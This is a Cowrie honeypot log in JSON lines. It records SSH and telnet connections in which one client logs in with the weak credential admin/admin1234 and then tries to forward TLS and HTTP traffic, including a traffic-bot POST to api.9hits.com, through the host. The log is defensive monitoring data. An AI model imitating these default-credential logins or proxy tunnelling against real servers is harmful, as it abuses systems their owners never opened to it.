{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\xd1{\\xe8X\\xebs\\xdc\\xb4\\xe4\\x99\\xc6\\xc7\\xae\\xe4\\x9d\\x06d\\xbc\\xa3\\xdf\\x11DTAu\\x86j\\xf4\\x903\\xae \\xa6\\x91\\xe5\\xa8\\xe7\\x02\\xeb\\xa1\\x01\\xdf\\xd3l\\xaf\\x9c\\x16\\x98\\x8e\\x1arW\\xe3\\x94\\x1f\\xf6X8\\x8c\\xb9\\x8f\\xb2\\xb6\\xa2\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 Ue\\xa1\\xc7\\xc2\\x88\\x18\\x92V\\xd6e~\\x84\\x9aq!2\\xd8\\xa5\\x18\\x8b\\xee\\xc2\\xa4\\x19\\xb7\\xc0\\x8dH\\xb8\\x8e\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\xd1{\\xe8X\\xebs\\xdc\\xb4\\xe4\\x99\\xc6\\xc7\\xae\\xe4\\x9d\\x06d\\xbc\\xa3\\xdf\\x11DTAu\\x86j\\xf4\\x903\\xae \\xa6\\x91\\xe5\\xa8\\xe7\\x02\\xeb\\xa1\\x01\\xdf\\xd3l\\xaf\\x9c\\x16\\x98\\x8e\\x1arW\\xe3\\x94\\x1f\\xf6X8\\x8c\\xb9\\x8f\\xb2\\xb6\\xa2\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 Ue\\xa1\\xc7\\xc2\\x88\\x18\\x92V\\xd6e~\\x84\\x9aq!2\\xd8\\xa5\\x18\\x8b\\xee\\xc2\\xa4\\x19\\xb7\\xc0\\x8dH\\xb8\\x8e\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:11.931431Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:12.414880Z","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:12.662716Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc\\xf9E\\x7f\\x7fb\\xed\\x05\\x15\\xbb^\\xe1\\xf3@\"\\xb8S\\x14\\x10\\x8a\\xa2\\x01\\xbe\\xcci\\x0c\\xb3L\\t\\x9b\\xf4\\xd2 \\xf2\\xfeN\\x9c:\\xb8=\\xaa\\xca\\xf9\\xd3t\\xf8\\x16J`\\xfap#\\xab\\x02\\xc26\\x1dN?\\x05\\x1d\\x04\\x1f\\x07\\x1e\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 h\\x80:\\xeb\\xde\\x17\\xe8\\xa9\\xc6DTp\\xa2\\xdea\\x99\\xd1\\xd9\\x0e\\x1b`P\\x00?Wl\\xed\"\\xd6T\\xd9(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc\\xf9E\\x7f\\x7fb\\xed\\x05\\x15\\xbb^\\xe1\\xf3@\"\\xb8S\\x14\\x10\\x8a\\xa2\\x01\\xbe\\xcci\\x0c\\xb3L\\t\\x9b\\xf4\\xd2 \\xf2\\xfeN\\x9c:\\xb8=\\xaa\\xca\\xf9\\xd3t\\xf8\\x16J`\\xfap#\\xab\\x02\\xc26\\x1dN?\\x05\\x1d\\x04\\x1f\\x07\\x1e\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 h\\x80:\\xeb\\xde\\x17\\xe8\\xa9\\xc6DTp\\xa2\\xdea\\x99\\xd1\\xd9\\x0e\\x1b`P\\x00?Wl\\xed\"\\xd6T\\xd9(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:12.666549Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:13.052738Z","src_ip":"123.27.168.40","session":"9f8c1027b955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49646,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5bc6e2f3754","protocol":"telnet","message":"New connection: 128.199.8.54:49646 (159.203.135.109:23) [session: f5bc6e2f3754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:16.319863Z"}
{"eventid":"cowrie.session.closed","duration":39.54202127456665,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:42:55.861745Z","src_ip":"128.199.8.54","session":"f5bc6e2f3754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":49601,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2fdca9bbf4","protocol":"ssh","message":"New connection: 173.208.192.194:49601 (10.17.0.5:22) [session: 2b2fdca9bbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:01.044997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:01.051301Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:01.298834Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:02.086943Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:08.974780Z","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:09.009282Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=N2txfTR0UCUvbzxJI1hOZQ%3D%3DezaGEQ%2BKnkxTUBi2iu3FW%2FGfFrQg528VZph2ShUfhHEmaGSWcZJ6mRmecK32Iti1U5yyInvYm1h8o0sKMv3mIruq4tVnoH82LYOPXMeqTwkekP5pc06xcSfXxyo0NL8b22F9qMCfpzIGo5RQ8p6mqjni5fq776%2F5mETsdKQuzAnr%2BrWwn2DuPY3%2F5dvmXPoydrM355t44oXbWy3u76vnfN5QkQYPEtKW3UR%2Fk%2BDKf8OuUyrjB9nicWp2dBzREs7KALlpu%2FF1JC7UM2ELqsULPm0r%2B2JXf2WyTYkmKkUrxuZwEMpLFQPv28KBUcp2UAuPtDYiC9GhNjDeK2FhpWJDqw4L%2B%2Bvl1H3KnRKWNz2brEqo1Q4%2BzxYFPlf3j%2F2Zw4FuSq7Zm%2BHioI3GA1abtCfN7J%2Fb%2FZixL7P1SEI7siFAtnUf52kwkmXrXlqnNFAlxiWk2WevtfsI7yyWYKK32XT2%2BMfoKeegq2MTrbC3EhWR0dlxLYvGTvZwfDxjJ1a0gFsZhExgytasMDB%2Fc6V%2BxoTcQOGxoD47Hj8VT33j7LMql7FgAsYuQK19vJaHVIV9%2FJXPKdeKfyatNbXMC8lh0aYN5T9tVAEvhC8PL1Tdkwu4Zpa00yG%2FDBvdLrDute8Xh4oJbRQy%2FQYMoTisynsGyevv%2Fuk2SsczJYnjRnDUxoVfQKzi4AKp5Z4n7ZgthhMcui%2FnW16aqSasjv0pN0ZcapajPaApRRhuNrQ7k0Jdfjxt9K2Yadjywj%2BeBxpgUqq8zB6c9u3XBshyCUlBV4p8V6wZrzDJ8z%2BSjiicNizboO9y8oNGd7ReE29nELYnNETYB5K%2B3ywxJ4afXKaigtBBdgue9rq7p5F2o1L2f1j0wjGLiPagBgJCvMjK8D2ZWcGjKB3FRPl%2FBK5wCpQcg1A7PH4rfl3t98jX%2BDSM7hHycfRrkClLh%2BJTU%2BdEdxTqjDMlDtwQblghItXLsYHOnUeDruFn%2FPbBKwk%2B0yk20tK8rR%2FJk8hZ8K9GrN%2FPUcX1YqMHdoP7SaqqKZP6RsQYAEffQnjS1GPdZDVjOwuzy5HGRwl9Tldn7RQ3nb71JG%2BT1eZBRJg0'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=N2txfTR0UCUvbzxJI1hOZQ%3D%3DezaGEQ%2BKnkxTUBi2iu3FW%2FGfFrQg528VZph2ShUfhHEmaGSWcZJ6mRmecK32Iti1U5yyInvYm1h8o0sKMv3mIruq4tVnoH82LYOPXMeqTwkekP5pc06xcSfXxyo0NL8b22F9qMCfpzIGo5RQ8p6mqjni5fq776%2F5mETsdKQuzAnr%2BrWwn2DuPY3%2F5dvmXPoydrM355t44oXbWy3u76vnfN5QkQYPEtKW3UR%2Fk%2BDKf8OuUyrjB9nicWp2dBzREs7KALlpu%2FF1JC7UM2ELqsULPm0r%2B2JXf2WyTYkmKkUrxuZwEMpLFQPv28KBUcp2UAuPtDYiC9GhNjDeK2FhpWJDqw4L%2B%2Bvl1H3KnRKWNz2brEqo1Q4%2BzxYFPlf3j%2F2Zw4FuSq7Zm%2BHioI3GA1abtCfN7J%2Fb%2FZixL7P1SEI7siFAtnUf52kwkmXrXlqnNFAlxiWk2WevtfsI7yyWYKK32XT2%2BMfoKeegq2MTrbC3EhWR0dlxLYvGTvZwfDxjJ1a0gFsZhExgytasMDB%2Fc6V%2BxoTcQOGxoD47Hj8VT33j7LMql7FgAsYuQK19vJaHVIV9%2FJXPKdeKfyatNbXMC8lh0aYN5T9tVAEvhC8PL1Tdkwu4Zpa00yG%2FDBvdLrDute8Xh4oJbRQy%2FQYMoTisynsGyevv%2Fuk2SsczJYnjRnDUxoVfQKzi4AKp5Z4n7ZgthhMcui%2FnW16aqSasjv0pN0ZcapajPaApRRhuNrQ7k0Jdfjxt9K2Yadjywj%2BeBxpgUqq8zB6c9u3XBshyCUlBV4p8V6wZrzDJ8z%2BSjiicNizboO9y8oNGd7ReE29nELYnNETYB5K%2B3ywxJ4afXKaigtBBdgue9rq7p5F2o1L2f1j0wjGLiPagBgJCvMjK8D2ZWcGjKB3FRPl%2FBK5wCpQcg1A7PH4rfl3t98jX%2BDSM7hHycfRrkClLh%2BJTU%2BdEdxTqjDMlDtwQblghItXLsYHOnUeDruFn%2FPbBKwk%2B0yk20tK8rR%2FJk8hZ8K9GrN%2FPUcX1YqMHdoP7SaqqKZP6RsQYAEffQnjS1GPdZDVjOwuzy5HGRwl9Tldn7RQ3nb71JG%2BT1eZBRJg0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:09.012759Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:12.215958Z","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:12.257192Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
